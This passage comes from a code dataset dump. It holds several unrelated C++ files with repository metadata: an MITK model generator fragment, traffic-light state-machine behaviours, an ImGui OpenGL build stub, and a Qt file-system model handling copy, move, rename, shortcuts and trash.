}
return factory;
}
mitk::ModelParameterizerBase::Pointer mitk::ModelGenerator::GenerateModelParameterizer(
const modelFit::ModelFitInfo& fit)
{
mitk::ModelParameterizerBase::Pointer result = nullptr;
mitk::ModelFactoryBase::Pointer factory = GetModelFactory(fit.functionClassID);
if (factory.IsNotNull())
{
result = factory->CreateParameterizer(&fit);
}
return result;
}
| 27.12987
| 160
| 0.696027
|
wyyrepo
|
1553b6502b5cd6d959357abb9c636bef0377971d
| 3,206
|
cpp
|
C++
|
Vorlesungsbeispiele/MRT2_VL-8_Ampel_mit_OPC_UA/src/Ampel_Behaviors.cpp
|
zmanjiyani/PLT_MRT_ARM-RPi2
|
da77ab8ddf652a12ae6a6647c993daa2f94b39fb
|
[
"MIT"
] | 4
|
2015-11-11T14:02:17.000Z
|
2021-11-29T16:07:38.000Z
|
Vorlesungsbeispiele/MRT2_VL-8_Ampel_mit_OPC_UA/src/Ampel_Behaviors.cpp
|
zmanjiyani/PLT_MRT_ARM-RPi2
|
da77ab8ddf652a12ae6a6647c993daa2f94b39fb
|
[
"MIT"
] | 6
|
2019-04-20T14:48:58.000Z
|
2020-08-26T15:13:02.000Z
|
Vorlesungsbeispiele/MRT2_VL-8_Ampel_mit_OPC_UA/src/Ampel_Behaviors.cpp
|
zmanjiyani/PLT_MRT_ARM-RPi2
|
da77ab8ddf652a12ae6a6647c993daa2f94b39fb
|
[
"MIT"
] | 9
|
2016-01-10T15:14:28.000Z
|
2021-10-13T22:45:19.000Z
|
/*
* Copyright (c) 2018 <copyright holder> <email>
*
* Permission is hereby granted, free of charge, to any person
* obtaining a copy of this software and associated documentation
* files (the "Software"), to deal in the Software without
* restriction, including without limitation the rights to use,
* copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following
* conditions:
*
* The above copyright notice and this permission notice shall be
* included in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
* OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
* HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
* OTHER DEALINGS IN THE SOFTWARE.
*
*/
#include "Ampel_Behaviors.h"
#include "Ampel.h"
void behavior_red(const AutomatonElement& ae, const string& ActionID)
{
Ampel *a = static_cast<Ampel*>(ae.getHandle());
a->setRedLight(true);
a->setYellowLight(false);
a->setGreenLight(false);
}
void behavior_redtogreen(const AutomatonElement& ae, const string& ActionID)
{
Ampel *a = static_cast<Ampel*>(ae.getHandle());
a->setRedLight(true);
a->setYellowLight(true);
a->setGreenLight(false);
}
void behavior_green(const AutomatonElement& ae, const string& ActionID)
{
Ampel *a = static_cast<Ampel*>(ae.getHandle());
a->setRedLight(false);
a->setYellowLight(false);
a->setGreenLight(true);
}
void behavior_greentored(const AutomatonElement& ae, const string& ActionID)
{
Ampel *a = static_cast<Ampel*>(ae.getHandle());
a->setRedLight(false);
a->setYellowLight(true);
a->setGreenLight(false);
}
void behavior_offline_check(const AutomatonElement& ae, const string& ActionID)
{
Ampel *a = static_cast<Ampel*>(ae.getHandle());
a->setRedLight(false);
a->setYellowLight(true);
a->setGreenLight(false);
}
void behavior_offline(const AutomatonElement& ae, const string& ActionID)
{
Ampel *a = static_cast<Ampel*>(ae.getHandle());
a->setRedLight(false);
a->setYellowLight(false);
a->setGreenLight(false);
}
bool guard_hasController(const AutomatonElement& ae, const string& ActionID)
{
Ampel *a = static_cast<Ampel*>(ae.getHandle());
return a->hasController();
}
bool guard_hasNoController(const AutomatonElement& ae, const string& ActionID)
{
Ampel *a = static_cast<Ampel*>(ae.getHandle());
return !(a->hasController());
}
bool guard_greenPhaseRequested(const AutomatonElement& ae, const string& ActionID)
{
Ampel *a = static_cast<Ampel*>(ae.getHandle());
return (a->getPhaseCommand() == PHASE_GREEN);
}
bool guard_redPhaseRequested(const AutomatonElement& ae, const string& ActionID)
{
Ampel *a = static_cast<Ampel*>(ae.getHandle());
return (a->getPhaseCommand() == PHASE_RED);
}
| 31.431373
| 82
| 0.720524
|
zmanjiyani
|
15570b15cfb1f385581154f9f946421bde72901b
| 81
|
cpp
|
C++
|
TinyEngine/src/Platform/OpenGL/ImGuiBuildOpenGL.cpp
|
LongerZrLong/TinyEngine
|
c5b0d57e9724c765967ce091c503f81673d74986
|
[
"Apache-2.0"
] | null | null | null |
TinyEngine/src/Platform/OpenGL/ImGuiBuildOpenGL.cpp
|
LongerZrLong/TinyEngine
|
c5b0d57e9724c765967ce091c503f81673d74986
|
[
"Apache-2.0"
] | null | null | null |
TinyEngine/src/Platform/OpenGL/ImGuiBuildOpenGL.cpp
|
LongerZrLong/TinyEngine
|
c5b0d57e9724c765967ce091c503f81673d74986
|
[
"Apache-2.0"
] | null | null | null |
#define IMGUI_IMPL_OPENGL_LOADER_GLAD
#include <backends/imgui_impl_opengl3.cpp>
| 27
| 42
| 0.876543
|
LongerZrLong
|
155b56a25b7e733e6451d8aac8f3dd63c9019ea8
| 30,956
|
cpp
|
C++
|
src/filesystemmodel.cpp
|
Jawez/FileManager
|
6d90f5f8b1757cd0d86ea0f81a7968b0dbb181aa
|
[
"MIT"
] | 10
|
2021-09-10T02:07:50.000Z
|
2022-03-27T08:35:08.000Z
|
src/filesystemmodel.cpp
|
Jawez/FileManager
|
6d90f5f8b1757cd0d86ea0f81a7968b0dbb181aa
|
[
"MIT"
] | null | null | null |
src/filesystemmodel.cpp
|
Jawez/FileManager
|
6d90f5f8b1757cd0d86ea0f81a7968b0dbb181aa
|
[
"MIT"
] | 3
|
2021-09-15T14:05:16.000Z
|
2022-03-19T11:33:27.000Z
|
#include "filesystemmodel.h"
#include "progressdialog.h"
#include "settings.h"
#include <QtDebug>
#include <QFuture>
#include <QFileInfo>
#include <QModelIndex>
#include <QApplication>
#include <QProgressDialog>
#include <QtConcurrent>
#include <QMessageBox>
#include <QPushButton>
#include <QMimeData>
#include <QUrl>
#define MAX_COLUMN_NUMBER 6
FileSystemModel::FileSystemModel()
{
// connect(qApp->clipboard(), &QClipboard::changed, this, &FileSystemModel::onClipboardChanged);
// init mime info for cut, copy ...
modelMimeData = nullptr;
modelMimeAct = Qt::IgnoreAction;
}
FileSystemModel::~FileSystemModel()
{
this->cleanMimeData();
}
// handle shortcut info
QVariant FileSystemModel::data(const QModelIndex &index, int role) const
{
if (!index.isValid() || index.model() != this)
return QVariant();
if (role == Qt::SizeHintRole) {
// qDebug() << QFileSystemModel::data(index, Qt::SizeHintRole).toSize(); // QSize(-1, -1)
return QSize(-1, ITEM_DEFAULT_HEIGHT);
}
if (role == Qt::EditRole || role == Qt::DisplayRole) {
QFileInfo info = fileInfo(index);
switch (index.column()) {
case 0: // displayName
if (info.isShortcut()) {
// qDebug() << QString("displayName %1").arg(info.completeBaseName());
return QVariant(info.completeBaseName());
}
break;
case 1: // size
if (info.isShortcut()) {
QFileInfo *shortcut = new QFileInfo(info.absoluteFilePath());
// qDebug() << QString("size %1").arg(shortcut->size());
return QVariant(shortcut->size());
}
break;
case 2: // type
break;
case 3: // time
// if (info.isShortcut()) {
// QFileInfo *shortcut = new QFileInfo(info.absoluteFilePath());
//// qDebug() << QString("time %1").arg(shortcut->birthTime());
// return QVariant(shortcut->birthTime());
// }
break;
}
}
return QFileSystemModel::data(index, role);
}
// handle translation
QVariant FileSystemModel::headerData(int section, Qt::Orientation orientation, int role) const
{
switch (role) {
case Qt::DecorationRole:
if (section == 0) {
// ### TODO oh man this is ugly and doesn't even work all the way!
// it is still 2 pixels off
QImage pixmap(16, 1, QImage::Format_ARGB32_Premultiplied);
pixmap.fill(Qt::transparent);
return pixmap;
}
break;
case Qt::TextAlignmentRole:
return Qt::AlignLeft;
}
if (orientation != Qt::Horizontal || role != Qt::DisplayRole)
return QAbstractItemModel::headerData(section, orientation, role);
QString returnValue;
switch (section) {
case 0: returnValue = tr("Name");
break;
case 1: returnValue = tr("Size");
break;
case 2: returnValue =
#ifdef Q_OS_MAC
tr("Kind", "Match OS X Finder");
#else
tr("Type", "All other platforms");
#endif
break;
// Windows - Type
// OS X - Kind
// Konqueror - File Type
// Nautilus - Type
case 3: returnValue = tr("Date Modified");
break;
case 4: returnValue = tr("Row");
break;
case 5: returnValue = tr("Date Created");
break;
case 6: returnValue = tr("Number");
break;
default: return QVariant();
}
return returnValue;
}
static bool dirIsDotAndDotDot(const QString &dir)
{
return (dir == "." || dir == "..");
}
// handle drag data
QMimeData *FileSystemModel::mimeData(const QModelIndexList &indexes) const
{
QList<QUrl> urls;
QList<QModelIndex>::const_iterator it = indexes.begin();
for (; it != indexes.end(); ++it) {
if ((*it).column() == 0) {
// handle special index, for example ".", ".." and Drive
qDebug() << QString("mime name %1").arg((*it).data().toString());
// displayName
QString fileName = (*it).data().toString();
if (dirIsDotAndDotDot(fileName)) {
qDebug() << QString(".. continue");
continue;
}
// type
if ((*it).siblingAtColumn(2).data().toString() == "Drive") {
qDebug() << QString("Drive continue");
continue;
}
// // QFileSystemModel::filePath() with .lnk for file shortcut, no .lnk for dir shortcut
// urls << QUrl::fromLocalFile(filePath(*it));
// QFileInfo::filePath() with .lnk for all shortcuts
QString path = this->fileInfo(*it).filePath();
QFileInfo info(path);
if (info.isShortcut() && !info.exists()) {
qDebug() << QString("isShortcut not exists continue");
// showShortcutWarning(*it); // can not show message box when drag drop
continue;
}
urls << QUrl::fromLocalFile(path);
qDebug() << QString("mime %1").arg(path);
}
}
QMimeData *data = new QMimeData();
data->setUrls(urls);
return data;
}
// handle drop data
bool FileSystemModel::dropMimeData(const QMimeData *data, Qt::DropAction action,
int row, int column, const QModelIndex &parent)
{
Q_UNUSED(row);
Q_UNUSED(column);
if (!parent.isValid() || isReadOnly())
return false;
// move target by default
action = Qt::MoveAction;
qDebug() << QString("modelDropMimeData action %1").arg(action);
#if USE_CUSTOM_DROP
QString to = QDir::fromNativeSeparators(QString("%1/").arg(filePath(parent)));
handleMimeDataPrivate(data, action, to, true);
return true;
#else
bool success = true;
QString to = filePath(parent) + QDir::separator();
QList<QUrl> urls = data->urls();
QList<QUrl>::const_iterator it = urls.constBegin();
switch (action) {
case Qt::CopyAction:
for (; it != urls.constEnd(); ++it) {
QString path = (*it).toLocalFile();
qDebug() << QString("drop %1").arg(path);
success = QFile::copy(path, to + QFileInfo(path).fileName()) && success;
}
break;
case Qt::LinkAction:
for (; it != urls.constEnd(); ++it) {
QString path = (*it).toLocalFile();
qDebug() << QString("drop %1").arg(path);
success = QFile::link(path, to + QFileInfo(path).fileName()) && success;
}
break;
case Qt::MoveAction:
for (; it != urls.constEnd(); ++it) {
QString path = (*it).toLocalFile();
qDebug() << QString("drop %1").arg(path);
success = QFile::rename(path, to + QFileInfo(path).fileName()) && success;
}
break;
default:
return false;
}
return success;
#endif // USE_CUSTOM_DROP
}
void FileSystemModel::refreshDir(const QString &dir)
{
// qDebug() << QString("refreshDir %1").arg(dir);
if (dir.isEmpty())
return;
if (QFileInfo(dir).isDir() && !QFileInfo(dir).isShortcut()) {
QString root = this->rootPath();
this->setRootPath(dir);
this->setRootPath(root);
}
}
QStringList FileSystemModel::dirEntryList(const QString &path)
{
QStringList list;
// QStringList filter;
// QDirIterator it(path, filter, QDir::AllEntries | QDir::NoSymLinks | QDir::NoDotAndDotDot, QDirIterator::Subdirectories);
QDirIterator it(path, QDir::AllEntries | QDir::NoDotAndDotDot | QDir::AllDirs | QDir::System/* | QDir::Hidden*/, QDirIterator::Subdirectories);
list << QFileInfo(path).absoluteFilePath();
while (it.hasNext())
list << it.next();
// qDebug() << QString("dirEntryList list %1: ").arg(list.count()) << list;
return list;
}
static bool isSamePath(const QString &path1, const QString &path2)
{
return (QDir::fromNativeSeparators(path1) == QDir::fromNativeSeparators(path2));
}
bool FileSystemModel::moveTarget(const QString &srcPath, const QString &to, const QString &targetPath)
{
// cut
bool result = QFile::rename(srcPath, targetPath);
if (!result) {
qDebug() << QString("rename failed, try to copy");
// try to copy target, then remove old file
result = copyTarget(srcPath, to, targetPath);
if (result) {
this->remove(this->index(srcPath)); // remove old file
} else {
if (this->index(targetPath).isValid())
this->remove(this->index(targetPath)); // remove target if copy failed
}
}
qDebug() << QString("move target result %1").arg(result);
return result;
}
// this function will block when copy large file
bool FileSystemModel::copyTarget(const QString &srcPath, const QString &to, const QString &targetPath)
{
bool result = false;
QFileInfo info(srcPath);
if (!info.exists())
return false;
// handle target
if (info.isDir() && !info.isShortcut()) {
// list all sub target
QStringList srcList = dirEntryList(info.absoluteFilePath());
if (srcList.isEmpty()) {
return false;
}
QStringList targetList = srcList;
targetList.replaceInStrings(info.absoluteFilePath(), targetPath); // replace src dir to target dir
// mkdir or copy
for (int i = 0; i < targetList.count(); i++) {
QString copyResult;
QFileInfo srcInfo(srcList.at(i));
if (srcInfo.isDir() && !srcInfo.isShortcut()) {
bool result = QDir().mkpath(targetList.at(i));
copyResult = QString("mkpath %1 %2").arg(result).arg(targetList.at(i));
} else {
bool result = QFile::copy(srcList.at(i), targetList.at(i));
copyResult = QString("copy %1 %2->%3").arg(result).arg(srcList.at(i), targetList.at(i));
copyResult += QString("; %1 %2").arg(srcInfo.isDir(), !srcInfo.isShortcut());
}
// qDebug() << copyResult;
}
result = QFileInfo::exists(targetPath);
} else {
// copy
result = QFile::copy(srcPath, targetPath);
}
qDebug() << QString("copy target result %1").arg(result);
return result;
}
bool FileSystemModel::handleTargetConcurrent(const QString &srcPath, const QString &to, const QString &targetPath,
Qt::DropAction action, QWidget *dialog)
{
bool result = false;
ProgressDialog *progress = (ProgressDialog *)dialog;
// qDebug() << QString("handleTargetConcurrent action %1").arg(action);
QFuture<bool> future;
switch (action) {
case Qt::MoveAction:
future = QtConcurrent::run(this, &FileSystemModel::moveTarget, srcPath, to, targetPath);
break;
case Qt::CopyAction:
future = QtConcurrent::run(this, &FileSystemModel::copyTarget, srcPath, to, targetPath);
break;
default:
return false;
}
while (future.isRunning()) {
QCoreApplication::processEvents();
if (progress) {
if (progress->isCancel()) {
progress->waitStop(tr("Please wait for a moment..."));
}
}
}
result = future.result();
// qDebug() << QString("future result %1").arg(result);
if (progress) {
if (progress->wasCanceled()) {
progress->cancel();
qDebug() << QString("cancel progress");
}
}
return result;
}
bool FileSystemModel::deleteTarget(const QString &fileName)
{
bool result = false;
QFileInfo info(fileName);
qDebug() << QString("deleteTarget %1, %2").arg(info.exists()).arg(info.absolutePath());
if (info.exists() || info.isShortcut()) {
QString path = info.absolutePath();
result = QFile::moveToTrash(fileName);
qDebug() << QString("delete %1 result %2").arg(fileName).arg(result);
#if DISABLE_FILE_WATCHER
this->refreshDir(path);
#endif
}
return result;
}
void FileSystemModel::cleanMimeData()
{
qDebug() << QString("clean mimeData");
if (modelMimeData != nullptr) {
delete modelMimeData;
modelMimeData = nullptr;
}
modelMimeAct = Qt::IgnoreAction;
}
void FileSystemModel::setMimeData(const QModelIndexList &indexes, Qt::DropAction action)
{
if (indexes.isEmpty())
return;
if (action != Qt::MoveAction && action != Qt::CopyAction/* && action != Qt::LinkAction*/) {
qDebug() << QString("set mimeData action %1 error, return").arg(action);
return;
}
modelMimeData = this->mimeData(indexes);
modelMimeAct = action;
qApp->clipboard()->setMimeData(this->mimeData(indexes), QClipboard::Clipboard);
}
Qt::DropAction FileSystemModel::getMimeAct()
{
return modelMimeAct;
}
void FileSystemModel::handleMimeData(const QString &to, Qt::DropAction action)
{
const QMimeData *data = qApp->clipboard()->mimeData(QClipboard::Clipboard);
if (data == nullptr || data->urls().isEmpty()){ // data always not null
qDebug() << "no mimeData";
return;
}
if (modelMimeData == nullptr || data->urls() != modelMimeData->urls()) {
qDebug() << "mimeData changed: " << data << modelMimeData;
action = Qt::CopyAction;
}
if (action == Qt::IgnoreAction)
action = modelMimeAct;
if (action == Qt::IgnoreAction)
handleMimeDataPrivate(data, Qt::CopyAction, to);
else
handleMimeDataPrivate(data, action, to);
}
// private
bool FileSystemModel::handleMimeDataPrivate(const QMimeData *data, Qt::DropAction action, const QString &to, bool isDrop)
{
qDebug() << QString("handleMimeDataPrivate action %1, to %2").arg(action).arg(to);
if (action != Qt::MoveAction && action != Qt::CopyAction && action != Qt::LinkAction) {
return false;
}
if (data == nullptr)
return false;
if (to.isEmpty())
return false;
QList<QUrl> urls = data->urls();
qDebug() << QString("urls nums %1, to %2").arg(urls.count()).arg(to);
if (urls.isEmpty())
return false;
int currFile = 0;
int numFiles = urls.count();
bool showProgress = false; // !isDrop;
ProgressDialog *progress = nullptr;
bool handleResult = false;
QList<QUrl>::const_iterator it = urls.constBegin();
for (; it != urls.constEnd(); ++it) {
QString srcPath = (*it).toLocalFile();
QString targetPath = srcPath;
QFileInfo info(srcPath);
QString labelText = tr("Handling file number %1 of %2...").arg(currFile).arg(numFiles);
if (showProgress) {
// update progress dialog
progress->setProgress(labelText, currFile);
QCoreApplication::processEvents();
if (progress->wasCanceled()) {
qDebug() << QString("wasCanceled");
break;
}
}
bool result = false;
switch (action) {
case Qt::MoveAction: {
targetPath = to + info.fileName(); // with .lnk for all shortcuts
if (isSamePath(srcPath, targetPath)) {
qDebug() << QString("move path not change %1").arg(targetPath);
continue;
}
// not allow move parent folder to child folder
if (info.isDir() && targetPath.contains(srcPath + "/")) {
qDebug() << QString("targetPath %1 contain srcPath %2").arg(targetPath, srcPath);
continue;
}
if (!showProgress) {
if (!showMoveConfirmBox(data, to)) {
qDebug() << QString("user cancel move");
return false;
}
// qDebug() << QString("user confirm continue");
showProgress = true;
// init progress dialog
progress = new ProgressDialog("", tr("Abort"), 0, numFiles, Qt::ApplicationModal);
progress->setProgress(labelText, currFile);
}
// target already exist, not handle shortcut(can not ensure whether shortcut exist)
if (QFileInfo::exists(targetPath)) {
if (!showReplaceBox(targetPath))
continue;
}
#if !DISABLE_FILE_WATCHER
// remove model watcher
if (this->removeDirWatcher(srcPath))
#endif
{
// result = moveTarget(srcPath, to, targetPath);
result = handleTargetConcurrent(srcPath, to, targetPath, action, progress);
}
break;
}
case Qt::CopyAction: {
targetPath = QDir::fromNativeSeparators(to + info.fileName());
// target already exist, not handle shortcut(can not ensure whether shortcut exist)
if (QFileInfo::exists(targetPath)) {
qDebug() << QString("src %1, target %2").arg(srcPath, targetPath);
// not the same path, alert user
if (!isSamePath(srcPath, targetPath)) {
if (!showReplaceBox(targetPath))
continue;
}
}
// rename when targetPath exist
// if targetPath exist, then srcPath must equal to targetPath now(isSamePath(srcPath, targetPath))
for (int i = 1; QFileInfo::exists(targetPath); i++) {
QString name;
//: system file name
if (info.completeSuffix().isEmpty()) // dir or special file
name = tr("%1 - copy (%2)").arg(info.baseName()).arg(i);
else
name = tr("%1 - copy (%2).%3").arg(info.baseName()).arg(i).arg(info.completeSuffix());
targetPath = to + name;
}
if (!showProgress) {
showProgress = true;
progress = new ProgressDialog("", tr("Abort"), 0, numFiles, Qt::ApplicationModal);
progress->setProgress(labelText, currFile);
}
// result = copyTarget(srcPath, to, targetPath);
result = handleTargetConcurrent(srcPath, to, targetPath, action, progress);
break;
}
case Qt::LinkAction: {
// get symLinkTarget
if (info.isShortcut()) {
srcPath = info.symLinkTarget();
info.setFile(srcPath);
}
targetPath = to + info.fileName() + QString(" - shortcut.lnk");
// rename
for (int i = 1; QFileInfo::exists(targetPath); i++) {
QString name;
//: system file name
name = tr("%1 - shortcut (%2).lnk").arg(info.fileName()).arg(i); // example:text.txt - shortcut (1)
targetPath = to + name;
}
if (!showProgress) {
showProgress = true;
progress = new ProgressDialog("", tr("Abort"), 0, numFiles, Qt::ApplicationModal);
progress->setProgress(labelText, currFile);
}
// link
result = QFile::link(srcPath, targetPath);
break;
}
default:
qDebug() << QString("action error, break");
break;
}
currFile++;
#if DISABLE_FILE_WATCHER
// refresh dir
this->refreshDir(to);
QString from = info.absolutePath();
if (!isSamePath(to, from))
this->refreshDir(from);
#endif
qDebug() << QString("%1 to %2, result %3").arg(srcPath, targetPath).arg(result);
if (result) {
if (isDrop)
emit dropCompleted(to, targetPath);
else
emit pasteCompleted(to, targetPath);
handleResult = true;
}
}
if (showProgress && !progress->wasCanceled() && currFile >= numFiles) {
QString labelText = tr("Handling file number %1 of %1...").arg(numFiles);
progress->setProgress(labelText, numFiles);
}
if (action == Qt::MoveAction && handleResult) {
this->cleanMimeData();
qApp->clipboard()->clear(QClipboard::Clipboard);
}
if (progress) {
progress->deleteLater();
}
return handleResult;
}
void FileSystemModel::onClipboardChanged(QClipboard::Mode mode)
{
qDebug() << QString("onClipboardChanged %1").arg(mode);
// qDebug() << "data changed: " << qApp->clipboard()->mimeData(QClipboard::Clipboard) << modelMimeData;
// qDebug() << qApp->clipboard()->mimeData(QClipboard::Clipboard)->formats();
// qDebug() << qApp->clipboard()->mimeData(QClipboard::Clipboard)->text();
// qDebug() << qApp->clipboard()->mimeData(QClipboard::Clipboard)->urls();
}
// return false if cancel clicked
bool FileSystemModel::showMoveConfirmBox(const QMimeData *data, const QString &to)
{
QString allSrcPath;
QList<QUrl> urls = data->urls();
foreach (QUrl url, urls) {
QString path = url.toLocalFile();
allSrcPath.append(QString("\"%1\"<br>").arg(QDir::toNativeSeparators(path)));
}
const QString message = tr("<p>Move the following <b>%1</b> targets to \"%2\":</p>"
"%3")
.arg(urls.count()).arg(QDir::toNativeSeparators(to), allSrcPath);
QMessageBox msgBox;
//: message box for move targets
msgBox.setWindowTitle(tr("Move targets"));
msgBox.setText(message);
// msgBox.setIcon(QMessageBox::Information); // setIcon() will cause a beep when it shows
QPushButton *yesButton = msgBox.addButton(tr("&Yes"), QMessageBox::ActionRole);
QPushButton *noButton = msgBox.addButton(tr("&No"), QMessageBox::ActionRole);
msgBox.setDefaultButton(yesButton);
msgBox.setEscapeButton(noButton);
int ret = msgBox.exec();
// qDebug() << QString("msgBox ret %1").arg(ret);
if (msgBox.clickedButton() == yesButton) {
} else if (msgBox.clickedButton() == noButton) {
qDebug() << QString("user canceled the move");
return false;
}
return true;
}
bool FileSystemModel::showReplaceBox(const QString &path)
{
bool replace = false;
const QString message = tr("<p>Target already existed.</p>"
"<p>\"%1\"</p>"
"<p>Do you want to replace the old one?</p>")
.arg(path);
QMessageBox msgBox;
//: message box for replace old files for copy
msgBox.setWindowTitle(tr("Replace or skip"));
msgBox.setText(message);
msgBox.setIcon(QMessageBox::Information);
QPushButton *yesButton = msgBox.addButton(tr("&Yes"), QMessageBox::ActionRole);
QPushButton *noButton = msgBox.addButton(tr("&No"), QMessageBox::ActionRole);
msgBox.setDefaultButton(yesButton);
msgBox.setEscapeButton(noButton);
int ret = msgBox.exec();
if (msgBox.clickedButton() == yesButton) {
this->deleteTarget(path);
replace = true;
} else if (msgBox.clickedButton() == noButton) {
}
return replace;
}
void FileSystemModel::showShortcutInfo(const QModelIndex &index)
{
QMessageBox msgBox;
msgBox.setWindowTitle(tr("Shortcut info"));
QString path = QDir::toNativeSeparators(QString("%1/%2").arg(this->fileInfo(index).absolutePath(), this->fileName(index)));
QString message = QDir::toNativeSeparators(this->fileInfo(index).symLinkTarget());
if (this->fileInfo(index).exists()) {
// msgBox.setIcon(QMessageBox::Information);
message = tr("<p><b>Shortcut:</b></p>%1"
"<p>Target exists:</p>%2").arg(path, message);
} else {
msgBox.setIcon(QMessageBox::Information);
message = tr("<p><b>Invalid shortcut:</b></p>%1"
"<p>Target not exists:</p>%2").arg(path, message);
}
msgBox.setText(message);
QPushButton *deleteButton = msgBox.addButton(tr("&Delete Shortcut"), QMessageBox::ActionRole);
QPushButton *okButton = msgBox.addButton(tr("&Ok"), QMessageBox::ActionRole);
// QPushButton *okButton = msgBox.addButton(QMessageBox::Ok);
msgBox.setDefaultButton(deleteButton);
msgBox.setEscapeButton(okButton);
int ret = msgBox.exec();
if (msgBox.clickedButton() == deleteButton) {
QString path = this->fileInfo(index).absoluteFilePath();
this->deleteTarget(path);
} else if (msgBox.clickedButton() == okButton) {
}
}
void FileSystemModel::showShortcutWarning(const QModelIndex &index) const
{
if (this->fileInfo(index).exists() || !this->fileInfo(index).isShortcut()) {
qDebug() << QString("target exist or is not shortcut, no warning");
return;
} else {
QMessageBox msgBox;
msgBox.setWindowTitle(tr("Invalid shortcut"));
QString path = QDir::toNativeSeparators(QString("%1/%2").arg(this->fileInfo(index).absolutePath(), this->fileName(index)));
QString target = QDir::toNativeSeparators(this->fileInfo(index).symLinkTarget());
msgBox.setIcon(QMessageBox::Information);
QString message = tr("<p><b>Invalid shortcut:</b></p>%1"
"<p>Target not exists:</p>%2").arg(path, target);
msgBox.setText(message);
QPushButton *okButton = msgBox.addButton(tr("&Ok"), QMessageBox::ActionRole);
msgBox.setDefaultButton(okButton);
msgBox.exec();
}
}
static void displayNotificationMessage(const QString &title, const QString &text, QMessageBox::Icon icon)
{
QMessageBox msgBox;
msgBox.setWindowTitle(title);
msgBox.setText(text);
msgBox.setIcon(icon);
msgBox.addButton(FileSystemModel::tr("&Ok"), QMessageBox::ActionRole);
msgBox.exec();
}
static void displayFolderInUseMessage(const QString &dir)
{
const QString message =
FileSystemModel::tr("<p>Operation failed, some folders or files in this folder have been opened in another program.</p>"
"<p>Please close these folders or files and try again.</p>"
"%1")
.arg(dir);
displayNotificationMessage(FileSystemModel::tr("Folder is in use"),
message,
QMessageBox::Information);
}
// use QFileSystemModel::setData() remove watcher, then rename to srcName
bool FileSystemModel::removeDirWatcher(const QString &dir)
{
if (dir.isEmpty()) {
return false;
}
QFileInfo info(dir);
if (info.isDir() && !info.isShortcut()) {
QString name = info.fileName();
// rename to .../_name
QString tempName = QString("_%1").arg(name);
QString tempPath = QString("%1/%2").arg(info.absolutePath(), tempName);
// prevent tempName already exist, rename to .../i_name
for (int i = 1; QFileInfo::exists(tempPath); i++) {
tempName = QString("%1_%2").arg(i).arg(name);
tempPath = QString("%1/%2").arg(info.absolutePath(), tempName);
}
if (QFileSystemModel::setData(this->index(dir), QVariant(tempName))) {
qDebug() << QString("setData success %1->%2").arg(name, tempName);
// rename to .../name(restore the srcName)
if (QFile::rename(tempPath, dir)) {
qDebug() << QString("rename success %1").arg(dir);
return true;
}
}
} else {
return true; // return true if it is not a dir
}
displayFolderInUseMessage(dir);
return false;
}
static void displayRenameFailedMessage(const QString &newName, const QString &hint)
{
const QString message = FileSystemModel::tr("<b>The name \"%1\" cannot be used.</b>").arg(newName);
displayNotificationMessage(FileSystemModel::tr("Rename failed"),
QString("%1<br>%2").arg(message).arg(hint),
QMessageBox::Information);
}
// rename target
bool FileSystemModel::setData(const QModelIndex &idx, const QVariant &value, int role)
{
// data check in QFileSystemModel::setData()
if (!idx.isValid()
|| idx.column() != 0
|| role != Qt::EditRole
|| (flags(idx) & Qt::ItemIsEditable) == 0) {
return false;
}
QString newName = value.toString();
QString oldName = idx.data().toString();
if (newName == oldName)
return true;
const QString parentPath = filePath(parent(idx));
if (newName.isEmpty() || QDir::toNativeSeparators(newName).contains(QDir::separator())) {
QString hint = tr("<p>Invalid filename.</p>"
"<p>Try using another name, with fewer characters or no punctuation marks(can't use %1).</p>")
.arg("\\ / : * ? \" < > |"); // \ / : * ? " < > |
displayRenameFailedMessage(newName, hint);
return false;
}
// make sure target not exist
QString srcPath = QString("%1/%2").arg(parentPath, oldName);
QString targetPath = QString("%1/%2").arg(parentPath, newName);
if (QFileInfo::exists(targetPath)) {
QString hint = tr("<p>Filename already exists.</p><p>Try using another name.</p>");
displayRenameFailedMessage(newName, hint);
return false;
}
// qDebug() << QString("FileSystemModel setData");
#if DISABLE_FILE_WATCHER
// bool result = QFileSystemModel::setData(idx, value, role);
bool result = QDir(parentPath).rename(oldName, newName);
qDebug() << QString("setData result %1").arg(result);
if (result) {
const QString parentPath = filePath(parent(idx));
// used to update the view of the proxy model, file model's view auto update
this->refreshDir(parentPath);
} else {
QString hint = tr("<p>Please makesure the target is closed.</p>"
"<p>Try using another name, with fewer characters or no punctuation marks(can't use \\/:*?\"<>|).</p>");
displayRenameFailedMessage(newName, hint);
}
return result;
#else
QString tempName = QString("_%1").arg(newName);
QString tempPath = QString("%1/%2").arg(parentPath, tempName);
// prevent tempName already exist, rename to .../i_name
for (int i = 1; QFileInfo::exists(tempPath); i++) {
tempName = QString("%1_%2").arg(i).arg(newName);
tempPath = QString("%1/%2").arg(parentPath, tempName);
}
// rename to tempName, then rename to targetName
if (QFileSystemModel::setData(idx, QVariant(tempName), role)) {
bool result = QDir(parentPath).rename(tempName, newName);
qDebug() << QString("rename %1, %2->%3").arg(result).arg(tempName, newName);
// if rename failed, then restore the oldName
if (!result) {
QDir(parentPath).rename(tempName, oldName);
}
return result;
}
return false;
#endif // DISABLE_FILE_WATCHER
}
| 33.79476
| 147
| 0.579758
|
Jawez
|
155b65b8b11b38d1533ce920aa6cba640c56b6b0
| 1,555
|
cpp
|
C++
|
src/KthSmallestElementInABST.cpp
|
yanzhe-chen/LeetCode
|
d82f0b9721ea613ab216c78e7286671d0e9e4187
|
[
"MIT"
] | 43
|
2015-10-10T12:59:52.000Z
|
2018-07-11T18:07:00.000Z
|
src/KthSmallestElementInABST.cpp
|
yanzhe-chen/LeetCode
|
d82f0b9721ea613ab216c78e7286671d0e9e4187
|
[
"MIT"
] | null | null | null |
src/KthSmallestElementInABST.cpp
|
yanzhe-chen/LeetCode
|
d82f0b9721ea613ab216c78e7286671d0e9e4187
|
[
"MIT"
] | 11
|
2015-10-10T14:41:11.000Z
|
